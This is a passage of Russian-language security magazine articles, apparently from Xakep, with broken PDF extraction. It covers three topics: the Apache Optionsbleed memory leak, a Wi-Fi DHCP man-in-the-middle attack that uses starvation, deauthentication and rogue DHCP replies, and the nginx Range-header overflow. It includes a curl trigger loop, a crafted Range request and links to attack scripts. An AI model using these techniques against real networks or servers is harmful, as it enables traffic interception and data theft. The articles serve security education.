79:     unsigned int         count, max, seed;
80:     apr_hashfunc_t       hash_func;
81:     apr_hash_entry_t    *free;  /* List of recycled entries */
82: };

Сре ди  них  есть  мас сив  —  хеш‐таб лица  (стро ка  77),  каж дый  из  эле мен тов
которой  ука зыва ет  на  узел  с  нес коль кими  пос ледова тель но  иду щими  зна‐ 
чени ями. Струк тура дан ных каж дого узла выг лядит сле дующим обра зом.

/apr/tables/apr_hash.c
47: struct apr_hash_entry_t {
48:     apr_hash_entry_t *next;
49:     unsigned int      hash;
50:     const void       *key;
51:     apr_ssize_t       klen;
52:     const void       *val;
53: };

Те перь  вер немся  в  исполня емый  код.  Сер вер  сна чала  вызыва ет
,  что бы  узнать,  был  ли  зарегис три рован  метод,  ука зан ный

в инс трук ции  . Для это го и выпол няет ся поиск в таб лице хешей.
apr_hash_get

Limit

/modules/http/http_protocol.c
735: /* Check if the method was previously registered. If it was
736: * return the associated method number.
737: */
738: methnum = (int *)apr_hash_get(methods_registry, methname,
739:     APR_HASH_KEY_STRING);

От ладка фун кции ap_method_register

Что бы  выз вать  уяз вимость,  в  дирек тиве    дол жен  быть  ука зан  метод,
который  не  зарегис три рован  гло баль но  (в  нашем  слу чае  ).  Поэто му
поиск  не  даст  резуль тата  и  фун кция  для  его  регис тра ции 

 будет выпол нена.

Limit
PATC

regis‐
ter_one_method

/modules/http/http_protocol.c
740:     if (methnum != NULL)
741:         return *methnum;
...
754:     register_one_method(p, methname, cur_method_number);

/modules/http/http_protocol.c
663: /* internal function to register one method/number pair */
664: static void register_one_method(apr_pool_t *p, const char *
methname,
665:     int methnum)
666: {
...
670:     apr_hash_set(methods_registry, methname, APR_HASH_KEY_STRING
, pnum);

Даль ше управле ние переда ется фун кции  , она запишет дан ные
о вновь зарегис три рован ном методе и вызовет  .

apr_hash_set
find_entry

/apr/tables/apr_hash.c
374: APR_DECLARE(void) apr_hash_set(apr_hash_t *ht,
375:     const void *key,
376:     apr_ssize_t klen,
377:     const void *val)
378: {
379:     apr_hash_entry_t **hep;

Фун кция    исполь зует ся  для  раз ных  опе раций  над  хеш‐таб‐ 
лицами,  таких  как  добав ление  или  уда ление  записей.  Пос ледний  параметр

  как  раз  опре деля ет  то,  какая  опе рация  выпол няет ся  в  хеш‐таб лице
при  вызове.  Если    равен  нулю,  то  най ден ный  узел  уда ляет ся.  Если 
не  равен  нулю  и  узел  не  сущес тву ет,  то  выпол няет ся  опе рация  соз дания
и встав ки узла в таб лицу, если же он уже сущес тву ет — его переназ начение.

apr_hash_set

val
val val

/apr/tables/apr_hash.c
380:     hep = find_entry(ht, key, klen, val);
381:     if (*hep) {
382:         if (!val) {
383:             /* delete entry */
...
390:         else {
391:             /* replace entry */

Преж де чем хеш будет добав лен, область памяти выг лядит сле дующим обра‐ 
зом.

b http_protocol.c:670

Учас ток памяти до добав ления метода

Сей час  в  хеш‐таб лице  уже  име ется  семь  эле мен тов.  А  ука затель  сто ит
на сле дующий сво бод ный эле мент — 8. Ког да сер вер обра баты вает дирек‐ 
тиву  , в мас сив добав ляет ся еще один узел, который в ней ука зан.Limit

До бав ленный в мас сив эле мент PATC из дирек тивы Limit

Пос ле успешной обра бот ки и регис тра ции нового метода сер вер генери рует
пакет отве та и отправ ляет его. Пул зап роса осво бож дает ся. Одна ко все дан‐ 
ные, которые были записа ны в память во вре мя работы, оста ются на мес те.
Все ука зате ли на   и на   все еще там.methods_registry PATC

/server/eor_bucket.c
84: static void eor_bucket_destroy(void *data)
85: {
86:     request_rec *r = (request_rec *)data;
87: 
88:     if (r) {
89:         /* eor_bucket_cleanup will be called when the pool gets 
destroyed */
90:         apr_pool_destroy(r‐>pool);
91:     }
92: }

Дан ные в памяти не очи щают ся пос ле осво бож дения пула

Ме нед жер памяти не переза писы вает дан ные, которые оста лись в ней пос ле
окон чания работы с пер вым кон нектом и осво бож дения пула, что мы и наб‐ 
люда ем в отладчи ке.

На  этом  пер вый  этап  обра бот ки  закон чен,  и  самое  вре мя  перехо дить
ко вто рому. При пар синге зап роса управле ние переда ется в фун кцию 

.
apr_p‐

memdup

apr_strings.c
113: APR_DECLARE(void *) apr_pmemdup(apr_pool_t *a, const void *m, 
apr_size_t n)
114: {
...
119:     res = apr_palloc(a, n);
120:     memcpy(res, m, n);
121:     return res;

Так как память, которая была исполь зована в пер вом шаге, теперь помече на
как  сво бод ная,  то    (стро ка  119)  выбира ет  один  из  осво бодив‐ 
шихся адре сов в этой области. Даль ше с помощью фун кции    копиру‐ 
ются  дан ные,  начиная  с  адре са,  который  вер нула  . При чем раз‐ 
мер  ( )  этих  дан ных  таков,  что  они  переза писы вают  сущес тву ющие  ячей ки
памяти,  в  которых  хра нилась  информа ция  о  методе    из  пер вого  кон‐ 
некта.

apr_palloc
memcpy

apr_palloc
n

PATC

Пе реза писан ные дан ные о зарегис три рован ном методе PATC

За тем  сер вер  переназ нача ет  узлы  в  таб лице  хешей.  Так  как  часть  памяти,
которая отве чает за метод  , была переза писа на нулем, теперь ука затель
ведет на пус тую стро ку и зна чение  , рав ное нулю.

PATC
val

Так выг лядит учас ток памяти, где рань ше рас полага лась информа ция
о PATC

На конец,  ког да  сер вер  начина ет  генери ровать  ответ  на  ,  он
перехо дит  в  фун кцию  .  Ее  роль  зак люча ется  в  соз дании  стро ки
методов, которые под держи вает веб‐сер вер. В этой фун кции есть перемен‐ 
ная    —  это  кри терий,  исполь зуемый,  что бы  опре делить,  какие  узлы
в  хеш‐таб лице  удов летво ряют  тре буемым  усло виям.  В  нашем  слу чае 
име ет зна чение 37.

HTTP  OPTIONS
make_allow

mask
mask

/modules/http/http_protocol.c
1023: static char *make_allow(request_rec *r)
1024: {
1025:     apr_int64_t mask;
...
1032:     mask = r‐>allowed_methods‐>method_mask;

Зна чение перемен ной mask, по которой отби рают ся нуж ные эле мен ты
для фор мирова ния хидера Allow

Тип  перемен ной    объ явлен  как  .  Если  мы  име ем  зна‐ 
чение 37 (в дво ичной сис теме 100101), то для того, что бы узел соот ветс тво‐ 
вал  усло вию  филь тра  мас ки,  его  зна чение  дол жно  быть  0,  2  или  5.  Узел,
который рань ше был методом  , изна чаль но не под ходит под это усло вие,
одна ко  зна чение    было  переза писа но  нулями  при  помощи  ,  и  он
ста новит ся очень даже под ходящим.

mask apr_int64_t

PATC
val memcpy

Даль ше все это переда ется в перемен ную  . Так как в нашем слу чае
эле мен ты пус ты,  то и  в отве те,  в  хидере   мож но  наб людать  нес коль ко
пус тых зна чений, раз делен ных запяты ми. А вот в реаль ных про ектах тут могут
быть инте рес ные дан ные.

allow
Allow

ЭКСПЛОИТ
Су щес тву ет  , который дела ет нес коль ко зап росов на ука зан ный
в парамет рах  , опре деля ет, уяз вим ли сер вер, и выводит заголо вок Allow.

PoC‐экс пло ит
url

Впро чем, для про вер ки уяз вимос ти никакой экс пло ит не нужен, все мож но
сде лать обыч но при помощи curl.

for i in {1..10}; do curl ‐sI ‐X OPTIONS http://url/path/; done

Ус пешная экс плу ата ция Apache Optionsbleed

ЭКСПЛУАТИРУЕМ УЯЗВИМОСТЬ (ВИДЕО)

ПАТЧ И ВЫВОДЫ
Раз работ чики  из  Apache  Software  Foundation  опе ратив но  отре аги рова ли
на уяз вимость и выпус тили  , который устра няет уяз вимость. По сути, они
прос то  зап ретили  регис тра цию  новых  HTTP‐методов  через  дирек тиву  Limit.
Теперь вмес то это го выводит ся сооб щение об ошиб ке.

патч

/server/core.c
2234: AP_CORE_DECLARE_NONSTD(const char *) ap_limit_section(cmd_parms
*cmd,

...
2265:         else if (methnum == M_INVALID) {
2266:             /* Method has not been registered yet, but 
resource restriction
2267:              * is always checked before method handling, so 
register it.
2268:              */
2269:             if (cmd‐>pool == cmd‐>temp_pool) {
2270:                 /* In .htaccess, we can't globally register 
new methods. */
2271:                 return apr_psprintf(cmd‐>pool, "Could not 
register method '%s' "
2272:                     "for %s from .htaccess configuration",
2273:                     method, cmd‐>cmd‐>name);
2274:             }

Во обще,  докумен тация  не  рекомен дует  исполь зовать  ,  что бы
менять кон фигура цию, так как это силь но пов лияет на эффектив ность отве тов
сер вера.  Теоре тичес ки  фай лы    дол жны  исполь зовать ся  толь ко
для  осо бых  слу чаев,  ког да  раз решения  уста нав лива ются  на  дан ные  в  кон‐ 
крет ном  катало ге.  Толь ко  вот  я  не  видел,  что бы  эти  рекомен дации  кто‐то
стро го соб людал в реаль нос ти. :‐)

.htaccess

.htaccess

https://github.com/allyshka/visualhack/tree/master/224/optionsbleed/docker
https://github.com/hannob/optionsbleed
https://vimeo.com/244176030
https://github.com/apache/httpd/commit/40e03b310047418c1339823c981182eb36a60e85


ПРОВОРАЧИВАЕМ ХИТРОУМНУЮ
MITM‐АТАКУ В WI‐FI‐СЕТИ

Владимир Иванов

ВЗЛОМ

Ата ка «человек посере дине», пожалуй, пер вое, что при ходит
на  ум,  ког да  воз ника ет  задача  получить  поль зователь ские
дан ные,  такие  как  логины  и  пароли  к  раз личным  сер висам,
а так же переда ваемую информа цию: поч ту, сооб щения мес‐ 
сен дже ров  и  про чее.  ARP‐спу финг,  DNS‐спу финг,  ICMP‐
редирект, Evil  twin — про все эти тех ники ты уже, воз можно,
слы шал. В дан ной статье я рас ска жу тебе про еще один спо‐ 
соб  устро ить  ,  не  самый  прос той,
но работос пособ ный.

MITM  в  Wi-Fi-сети

Ма тери ал  адpесо ван  спе циалис там  по  безопас‐ 
ности  и  тем,  кто  собираeтся  ими  стать.  Вся
информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

Нас тоятель но рекомен дую, преж де чем читать матери ал, озна комить ся с дру‐ 
гой  моей  ,  в  которой  я  попытал ся  объ яснить  прин цип  работы
про токо ла  DHCP  и  как  с  его  помощью  ата ковать  кли енты  и  сер вер,  ведь
имен но о DHCP сегод ня и пой дет речь.

пуб ликаци ей

ПРЕАМБУЛА
Итак, как и всег да, для дан ной ата ки есть пара огра ниче ний:
1. Мы дол жны быть под клю чены к ата куемой точ ке дос тупа.
2. У  нас  дол жна быть  воз можность  прос лушивать широко веща тель ный  тра‐ 
фик в сети и перех ватывать широко веща тель ные зап росы DHCPDISCOV‐
ER,  DHCPREQUEST  и  ARP,  что бы  обна ружи вать  кон флик ты  адре сов
в локаль ной сети.

Итак, как же это работа ет? Ата ка раз деля ется на нес коль ко эта пов:
1. Про изво дим ата ку DHCP Starvation.
2. От прав ляем Wi‐Fi Deauth пакеты.
3. Пе рех ватыва ем ARP‐зап росы от кли ентов, отве чаем на них, что бы соз дать
кон фликт IP‐адре сов и при нудить кли ента отпра вить DHCPDECLINE.

4. Пе рех ватыва ем  зап росы  DHCPDISCOVER  и  DHCPREQUEST,  отве чаем
на них.

5. Profit!

Раз берем ся в этой схе ме попод робнее.

DHCP Starvation
Под клю чаем ся к ата куемой Wi‐Fi‐сети и про изво дим ата ку 
с целью попол нить пул сво бод ных IP‐адре сов. Для это го необ ходимо выпол‐ 
нить сле дующие шаги.

DHCP Starvation

1. Фор миру ем и отправ ляем широко веща тель ный  ‐зап рос,
при этом пред став ляем ся как DHCP relay agent. В поле   (Relay agent
IP) ука зыва ем свой  IP‐адрес  , в поле    (Client MAC
address) — ран домный MAC  , при этом на каналь ном
уров не в   выс тавля ем свой MAC‐адрес:  .

DHCPDISCOVER

giaddr

192.168.1.172 chaddr

00:01:96:E5:26:FC

SRC MAC 84:16:F9:1B:CF:F0

DHCPDISCOVER

2. Сер вер  отве чает  сооб щени ем    аген ту  рет ран сля ции  (нам)
и  пред лага ет  кли енту  с  MAC‐адре сом    IP‐адрес

.

DHCPOFFER

00:01:96:E5:26:FC

192.168.1.156

DHCPOFFER

3. Пос ле  получе ния  DHCPOFFER  отправ ляем  широко веща тель ный
‐зап рос, при этом в DHCP‐опции с кодом 50  (

) выс тавля ем пред ложен ный кли енту  IP‐адрес  ,
в опции с кодом 12 ( ) — ран домную стро ку  .

 зна чения полей   (Transaction ID) и   (Client MAC address)
в  DHCPREQUEST  и  DHCPDISCOVER  дол жны  быть  оди нако выми,  ина че
сер вер отбро сит зап рос, ведь это будет выг лядеть как дру гая тран закция
от того же кли ента либо дру гой кли ент с той же тран закци ей.

DHCPREQUEST Requested
IP address 192.168.1.156

Host Name Option dBDXnOnJ

Важ но: xid chaddr

DHCPREQUEST

4. Сер вер отправ ляет  аген ту рет ран сля ции сооб щение  . С  это го
момен та IP‐адрес   счи тает ся зарезер вирован ным за кли‐ 
ентом  с  MAC‐адре сом    на    (вре мя  арен ды
по умол чанию).

DHCPACK

192.168.1.156

00:01:96:E5:26:FC 12  ч

DHCPACK

DHCP clients

Wi-Fi Deauth
Сле дующим шагом про водим Wi‐Fi Deauth. Работа ет эта схе ма при мер но так.

Wi‐Fi Deauth

Под робнее о деаутен тифика ции кли ентов в Wi‐Fi‐сети мож но почитать 
и  .

здесь
здесь
Пе рево дим сво бод ный бес про вод ной интерфейс в режим монито рин га:

Wlan1 set monitor mode

От прав ляем  deauth‐пакеты  с  целью  отсо еди нить  ата куемо го  кли ента
 Wi‐Fi‐сети ESSID:  .84:16:F9:19:AD:14 WiFi DHCP MiTM

Send deauth packets

DHCPDECLINE
Пос ле  того  как  кли ент    отсо еди нил ся от  точ ки дос тупа,
веро ятнее все го, он заново поп робу ет под клю чить ся к Wi‐Fi‐сети 

 и получить IP‐адрес по DHCP. Так как ранее он уже под клю чал ся к этой
сети, то будет отправ лять толь ко широко веща тель ный  .

84:16:F9:19:AD:14

WiFi DHCP

MiTM

DHCPREQUEST

Send DHCPREQUEST after Deauth

Мы  перех ватыва ем  зап рос  кли ента,  но  отве тить  быс трее  точ ки  дос тупа  мы,
само собой, не успе ем. Поэто му кли ент получа ет от DHCP‐сер вера IP‐адрес,
получен ный  ранее:  .  Далее  кли ент  с  помощью  про токо ла

 пыта ется обна ружить  .
192.168.1.102

ARP кон фликт IP‐адре сов в сети

Try detect IP address conflict

Ес тес твен но,  такой  зап рос  широко веща тель ный,  поэто му  мы  можем  его
перех ватить и отве тить на него.

IP address conflict detected

Пос ле  это го  кли ент  фик сиру ет  кон фликт  IP‐адре сов  и  отправ ляет  широко‐ 
веща тель ное сооб щение   —  :от каза DHCP DHCPDECLINE

Send DHCPDECLINE

Продолжение статьи →

http://bit.ly/2y8LZp7
http://bit.ly/2f4aMmO
http://bit.ly/2hamf8y
https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack
https://hackware.ru/?p=74
http://bit.ly/2haemQD
http://bit.ly/2hcyLRE


ПРОВОРАЧИВАЕМ ХИТРОУМНУЮ
MITM‐АТАКУ В WI‐FI‐СЕТИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

DHCPDISCOVER
Итак, пос ледний этап ата ки. Пос ле отправ ки   кли ент с самого
начала  про ходит  про цеду ру  получе ния  IP‐адре са,  а  имен но  отправ ляет
широко веща тель ный  . Легитим ный DHCP‐сер вер не может
отве тить на этот зап рос, так как пул сво бод ных IP‐адре сов перепол нен пос ле
про веде ния  ата ки    и  поэто му  замет но  тор мозит,  зато
на DHCPDISCOVER можем отве тить мы —  .

DHCPDECLINE

DHCPDISCOVER

DHCP  Starvation

192.168.1.172

Кли ент    (Win10‐desktop)  отправ ляет  широко веща‐ 
тель ный  .

84:16:F9:19:AD:14

DHCPDISCOVER

DHCPDISCOVER

От веча ем  .DHCPOFFER

Attacker DHCPOFFER

В    мы  пред ложили  кли енту  IP‐адрес  .  Кли ент,
получив  дан ное  пред ложение  толь ко  от  нас,  отправ ляет  ,
выс тавляя при этом в    зна чение  , и мы отве чаем

.

DHCPOFFER 192.168.1.2

DHCPREQUEST

requested ip 192.168.1.2

DHCPACK

Кли ент    (Win10‐desktop)  отправ ляет  широко веща‐ 
тель ный  .

84:16:F9:19:AD:14

DHCPREQUEST

DHCPREQUEST

От веча ем  .DHCPACK

Attacker DHCPACK

Кли ент  при нима ет  наш  DHCPACK  и  в  качес тве 
и    выс тавля ет  наш  IP‐адрес:  ,  а  DHCPNACK
от точ ки дос тупа, прис ланный на две секун ды поз же, прос то про игно риру ет.

шлю за  по  умол чанию

DNS-сер вера 192.168.1.172

Client network settings

 почему  точ ка дос тупа прис лала DHCPOFFER и DHCPNACK на 
,  да  еще  и  пред ложила  тот  же  IP‐адрес  ,

ведь кли ент отка зал ся от него?

Воп рос: две

секун ды  поз же 192.168.1.102

DHCPOFFER from AP

Что бы отве тить на этот воп рос, нем ного изме ним филь тр в Wireshark и пос‐ 
мотрим ARP‐зап росы от точ ки дос тупа.

Add ARP requests from AP

  пос ле  про веде ния  ата ки  DHCP  Starvation  у  DHCP‐сер вера  не  ока‐ 
залось сво бод ных IP‐адре сов, кро ме того, от которо го отка зал ся один из кли‐ 
ентов:  .  Поэто му,  получив  DHCPDISCOVER‐зап рос,  DHCP‐
сер вер в течение двух секунд отправ ляет три ARP‐зап роса, что бы узнать, кто
исполь зует IP‐адрес  , и пос ле того, как сер вер убе дит ся, что
дан ный  IP‐адрес сво боден, пос коль ку ник то не отве тил, выда ет его кли енту.
Но уже слиш ком поз дно: зло умыш ленник успел отве тить быс трее.

От вет:

192.168.1.102

192.168.1.102

РЕЗУЛЬТАТЫ
Та ким  обра зом,  мы  можем  выс тавлять  любые  сетевые  парамет ры:  шлюз
по умол чанию, DNS‐сер вер и дру гие — любому под клю чен ному или новому
кли енту  в  ата куемой Wi‐Fi‐сети,  при  усло вии,  что  мы  к  ней  уже  под клю чены
и можем прос лушивать широко веща тель ный тра фик.

Ви део про веде ния ата ки на macOS Sierra и Windows 10

Ну и конеч но же,  .PoC

ПОСЛЕСЛОВИЕ. APPLE VS DHCP
Как  ока залось,  macOS  и  iOS  переп люнули  всех  в  пла не  получе ния  сетевых
нас тро ек по про токо лу DHCP. Ког да эти опе раци онные сис темы отправ ляют

,  DHCP‐сер вер  отве чает  им  ,  и  они  выс тавля ют
сетевые нас трой ки из отве та сер вера. Вро де пока все как у всех:
DHCPREQUEST DHCPACK

MacOS legal DHCPACK

Но  проб лема  в  том,  что    широко веща тель ный  и  зло умыш‐ 
ленник, как пра вило, без осо бых проб лем может его перех ватить и отве тить

, но,  конеч но, поз днее легитим ного DHCP‐сер вера,  то есть ответ
зло умыш ленни ка  при ходит  вто рым. Все осталь ные DHCP‐кли енты  на  дру гих
ОС прос то про игно риру ют вто рой DHCPACK, но на macOS и iOS все не так.

DHCPREQUEST

DHCPACK

Как ты дума ешь, какие нас трой ки выс тавля ют дан ные опе раци онные сис‐ 
темы? Ответ: те нас трой ки, которые будут содер жать ся в DHCPACK зло умыш‐ 
ленни ка (во вто ром DHCPACK  ).во вто ром DHCPACK, Карл!

MacOS attacker DHCPACK

Ви део демонс тра ции уяз вимос ти DHCP‐кли ента macOS

Как ты дума ешь, баг это или фича? Я подумал — баг и на вся кий слу чай завел
заяв ку  на  Apple  Bug  Reporter.  Ско ро  этой  заяв ке  исполнит ся  месяц,  но  ни
одно го ком мента рия от спе циалис тов Apple я так и не получил.

Apple Bug Reporter

На заяв ке в Apple Bug Reporter я не оста новил ся и написал пись мо в product‐
security@apple.com.

Apple email

Спе циалис ты Apple сов сем не быс тро, но все же отве тили и ска зали, что их
DHCP‐кли ент  работа ет  в  соот ветс твии  с  RFC  2131.  То  есть  это  не  бага,
а фича — вот и конец исто рии.

Для самых ленивых я под готовил скрипт  , который в авто‐ 
мати чес ком  режиме  находит  все  устрой ства  ком пании  Apple  в  Wi‐Fi‐сети,
деаутен тифици рует  и  выс тавля ет  на  них  в  качес тве  шлю за  и  DNS‐сер вера
свой IP‐адрес.

apple_wifi_mitmer.py

В  аргу мен тах  скрип та  все го‐то  нуж но  ука зать  имя  бес про вод ного
интерфей са,  который  уже  под клю чен  к  иссле дуемой Wi‐Fi‐сети,  и  еще один
бес про вод ной  интерфейс  для  отправ ки  deauth‐пакетов.  Как  это  работа ет,
мож но пос мотреть  .тут

https://www.youtube.com/watch?v=OBXol-o2PEU
https://github.com/Vladimir-Ivanov-Git/raw-packet
https://www.youtube.com/watch?v=XSVT4BFUqsU
https://github.com/Vladimir-Ivanov-Git/raw-packet/blob/master/apple_wifi_mitmer.py
https://youtu.be/MmPluMxOyMk
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В популяр ней шем  веб‐  и  прок си‐сер вере  nginx  была  обна‐ 
руже на  занят ная  уяз вимость:  спе циаль но  сфор мирован ным
зап росом мож но получить информа цию о внут ренней струк‐ 
туре  при ложе ния. Этот  баг  томил ся  без малого  десять  лет,
и  под верже ны  ей  вер сии  с  0.5.6  и  до  1.13.2  вклю читель‐ 
но — то есть с 2007 года по июль 2017‐го. Nginx, как извес‐ 
тно,  исполь зует ся  на  каж дом  треть ем‐чет вертом  сай те,  так
что изу чить эту лазей ку не помеша ет.

Ма тери ал  адpесо ван  спе циалис там  по  безопас‐ 

ности  и  тем,  кто  собираeтся  ими  стать.  Вся

информа ция  пре дос тавле на  исклю читель но

в озна коми тель ных целях. Ни редак ция, ни автор

не  несут  ответс твен ности  за  любой  воз можный

вред, при чинен ный матери ала ми дан ной статьи.

ТЕСТОВЫЙ СТЕНД
Для про веде ния экспе римен тов нам понадо бит ся тес товая пло щад ка. Конеч‐ 
но,  всег да  мож но  самому  уста новить  и  нас тро ить  нуж ный  дис три бутив,
но зачем, ког да мож но прос то взять и сра зу перей ти непос редс твен но к опы‐ 
там? Тем более наши китай ские кол леги уже соб рали готовую уяз вимую сре‐ 
ду  и  выложи ли  ее  в  виде  докер‐кон тей нера. Ска чать  его мож но  из 

.  На  стра нице  пол но  иерог лифов,  так  что  вот  тебе  коман да,
которая нуж на для запус ка сер вера:

ре пози‐ 
тория  vulapps

docker run ‐‐rm ‐‐cap‐add=SYS_PTRACE ‐‐security‐opt seccomp=unconf
ined ‐d ‐p 80:80 medicean/vulapps:n_nginx_1

Во обще,  в  этом  репози тории  ютит ся  мно жес тво  стен дов  для  тес тирова ния
раз ных уяз вимос тей, советую изу чить на досуге.

Пос ле успешно го выпол нения коман ды на 80‐м пор те у нас будет висеть
подопыт ный веб‐сер вер nginx вер сии 1.13.1.

Ес ли вдруг тебе захочет ся нем ного подеба жить,  то рекомен дую при атта‐ 
чить ся к кон тей неру и выпол нить

apt‐get update && apt‐get install nano build‐essential gdb nginx‐dbg=
1.13.1‐1~stretch
service nginx stop && service nginx‐debug start
ps ‐aux|grep nginx

Те перь мож но при соеди нять ся к про цес су (worker process) с помощью gdb.

gdb ‐‐pid <pid>

Сра зу  пре дуп реждаю,  что  импакт  у  уяз вимос ти  невесть  какой,  одна ко
покопать ся в ней инте рес но.

НЕМНОГО О RANGE
При чина  уяз вимос ти  —  в  некор рек тной  обра бот ке  бай товых  диапа зонов
в заголов ке Range. Воз можно, ты в кур се, что это такое, но давай на вся кий
слу чай пов торим.

Ба зовая информа ция о заголов ке Range

За голо вок Range исполь зует ся, ког да нуж но получить не пол ный ответ от сер‐ 
вера, а толь ко его часть. Фор мат допус тимых зна чений заголов ка под робно
опи сан в спе цифи кации про токо ла HTTP 1.1  .RFC2616

Сог ласно  стан дарту,  в  качес тве  зна чений  мож но  ука зывать  диапа зоны
для  выбор ки. Они сос тоят  из  двух  час тей:  раз мерность диапа зона и  спи сок
пра вил выбор ки. В качес тве раз мернос ти исполь зуют ся бай ты.

Range: bytes=[‐]<begin>‐[<end>][,]

Са му  выбор ку  мож но  делать  дву мя  спо соба ми.  Пер вый  —  ука зать  две
позиции: начало выбор ки и ее конец. При чем стан дарт чет ко опре деля ет, что
началь ная  позиция  дол жна  быть  не  мень ше  нуля,  а  конеч ная  обя затель но
боль ше  началь ной  или  рав на  ей.  Если  это  усло вие  не  соб люда ется,  то
заголо вок дол жен быть про игно риро ван. Если в качес тве пос ледней позиции
ука зано  зна чение,  которое  боль ше  раз мера  зап рашива емо го  докумен та
или рав но ему, то пос ледней позици ей счи тает ся текущий раз мер докумен та
в  бай тах  минус  один.  То  же  самое  каса ется  тех  слу чаев,  ког да  конеч ная
позиция не ука зана вооб ще.

К  при меру,  если  раз мер  докумен та  138  байт,  то    получит
от  сер вера  137  байт  информа ции,  начиная  со  вто рого  и  закан чивая  пос‐ 
ледним.

bytes=1‐137

Пер вый спо соб выбор ки час ти кон тента с помощью Range

По мимо  это го,  в  отве те  при сутс тву ет  заголо вок  ,  где  пос ле
сле ша ука зан пол ный раз мер докумен та, который мы зап рашива ем.

Content‐Range

Вто рой спо соб — выбор ка пос ледних N байт тела докумен та. Если раз мер
докумен та мень ше, чем ука зан ный в зап росе, то будет выб ран весь документ.
Нап ример,   зап рашива ет пос ледние 7 байт.bytes=‐7

Вто рой спо соб выбор ки час ти кон тента с помощью Range

Так же спе цифи кация раз реша ет в одном заголов ке Range ука зать нес коль ко
диапа зонов, в качес тве раз делите ля исполь зует ся запятая.

Ис поль зование нес коль ких бай товых диапа зонов в заголов ке Range

От мечу,  что  если  ответ  сер вера  содер жит  заголо вок  ,  то  он
под держи вает получе ние дан ных час тями, ког да в зап росах есть хидер Range.
Но,  конеч но же,  это  не  говорит  со  стоп роцен тной  веро ятностью о  его  под‐ 
дер жке или ее отсутс твии. Так что рекомен дую все про верять на прак тике.

Accept‐Ranges

На личие заголов ка Accept‐Ranges говорит о под дер жке Range в зап ‐
росах

Продолжение статьи →

https://hub.docker.com/r/vulapps/cve-2017-7529/
https://tools.ietf.org/html/rfc2616#section-14.35
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Уг лубля емся в детали
В  nginx  за  обра бот ку  заголов ка  Range  отве чает  модуль 

, который вызыва ет фун кцию 

.

ngx_http_range_‐
header_filter_module ngx_http_range_head‐
er_filter

/src/http/modules/ngx_http_range_filter_module.c
146: static ngx_int_t
147: ngx_http_range_header_filter(ngx_http_request_t *r)
148: {

Ес ли в пакете ука зан толь ко один диапа зон, то выводом информа ции занима‐ 

ется  фун кция  ,  а  если  нес коль ко,  то

.

ngx_http_range_singlepart_header
ngx_http_range_multipart_header

/src/http/modules/ngx_http_range_filter_module.c
404: static ngx_int_t
405: ngx_http_range_singlepart_header(ngx_http_request_t *r,
406:     ngx_http_range_filter_ctx_t *ctx)
...
455: static ngx_int_t
456: ngx_http_range_multipart_header(ngx_http_request_t *r,
457:     ngx_http_range_filter_ctx_t *ctx)
458: {

Сам  баг  находит ся  в  фун кции  ,  которая  пар сит

передан ные в заголов ке диапа зоны.

ngx_http_range_parse

/src/http/modules/ngx_http_range_filter_module.c
268: static ngx_int_t
269: ngx_http_range_parse(ngx_http_request_t *r, ngx_http_range_
filter_ctx_t *ctx,
270:     ngx_uint_t ranges)

Что бы  поб лиже  пос мотреть,  что  про исхо дит,  при атта чим ся  к  про цес су

с помощью gdb и пос тавим брейк‐пой нт на стро ку 360.

gdb ‐‐pid <pid>
b ngx_http_range_filter_module.c:360
c

Те перь отпра вим пакет, в котором переда дим отри цатель ный Range.

GET / HTTP/1.1
Host: nginx.visualhack
Range: bytes=‐10, ‐20

Сна чала  опре деля ется  тип  передан ного  диапа зона.  Если  мы  зап росили

выбор ку пос ледних N байт докумен та, то перемен ная   ста новит ся рав‐ 

ной еди нице.

suffix

/src/http/modules/ngx_http_range_filter_module.c
304:         suffix = 0;
...
308:         if (*p != '‐') {
...
334:         } else {
335:             suffix = 1;

Да лее  посим воль но  переби рает ся  передан ная  стро ка  с  диапа зоном.  Пока

встре чают ся зна чения от 0 до 9 (то есть чис ла), кусок кода выпол няет ся.

/src/http/modules/ngx_http_range_filter_module.c
343:         while (*p >= '0' && *p <= '9') {
344:             if (end >= cutoff && (end > cutoff || *p ‐ '0' > 
cutlim)) {
345:                 return NGX_HTTP_RANGE_NOT_SATISFIABLE;
346:             }
347:
348:             end = end * 10 + *p++ ‐ '0';
349:         }

Пос ле того как отра бота ет этот цикл, перемен ная   будет рав на передан‐ 

ному зна чению, толь ко без зна ка минус. Про пус тим нес коль ко не осо бо инте‐ 

рес ных  для  нас  строк  и  попадем  в  усло вие,  пос ле  которо го  мы  пос тавили

пре рыва ние.

end

/src/http/modules/ngx_http_range_filter_module.c
357:         if (suffix) {
358:             start = content_length ‐ end;
359:             end = content_length ‐ 1;
360:         }

От ладка зап роса с хидером Range

Са мое вре мя пос мотреть на перемен ные  ,   и  .end start content_length

p content_length
p start
p end

На этом эта пе выпол нения позиция начала выбор ки ( ) рав на дли не все‐ 

го отве та ( ) минус передан ное зна чение кон ца выбор ки ( )

без зна ка минус. Так что если мы отпра вим зна чение заведо мо боль шее, чем

общая  дли на  зап роса,  то  получим  отри цатель ное  зна чение  для  начала

выбор ки.

start
content_length end

Не вер ное зна чение началь ной позиции выбор ки дан ных

Ко неч ная позиция выбор ки ста новит ся рав ной дли не отве та минус еди ница.

Даль ше  сле дует  про вер ка  общей  дли ны  воз вра щаемых  дан ных,  и  если  она

боль ше, чем общий раз мер отве та, то заголо вок игно риру ется. Все как ука‐ 

зано в спе цифи кации.

/src/http/modules/ngx_http_range_filter_module.c
396:     if (size > content_length) {
397:         return NGX_DECLINED;
398:     }

Об щий раз мер счи тает ся с помощью сле дующе го алго рит ма.

/src/http/modules/ngx_http_range_filter_module.c
295:     size = 0;
...
369:     found:
370:
371:         if (start < end) {
372:             range = ngx_array_push(&ctx‐>ranges);
...
377:             range‐>start = start;
378:             range‐>end = end;
379:
380:             size += end ‐ start;

Ес ли  началь ная  позиция  выбор ки  мень ше  конеч ной,  то  начина ем  счи тать

. Сна чала он равен нулю, а затем переби рают ся все передан ные диапа‐ 

зоны,  если  их  нес коль ко,  и  к  текуще му  зна чению  при бав ляет ся  раз ность

конеч ной и началь ной позиции выбор ки (стро ка 380).

size

Нам  нуж но  соб рать  такой  пакет,  что бы  ито говый  раз мер  был  мень ше

общей  дли ны  докумен та.  Обра ти  вни мание  на  тип  перемен ных  , 

и  .

start end
size

/src/http/modules/ngx_http_range_filter_module.c
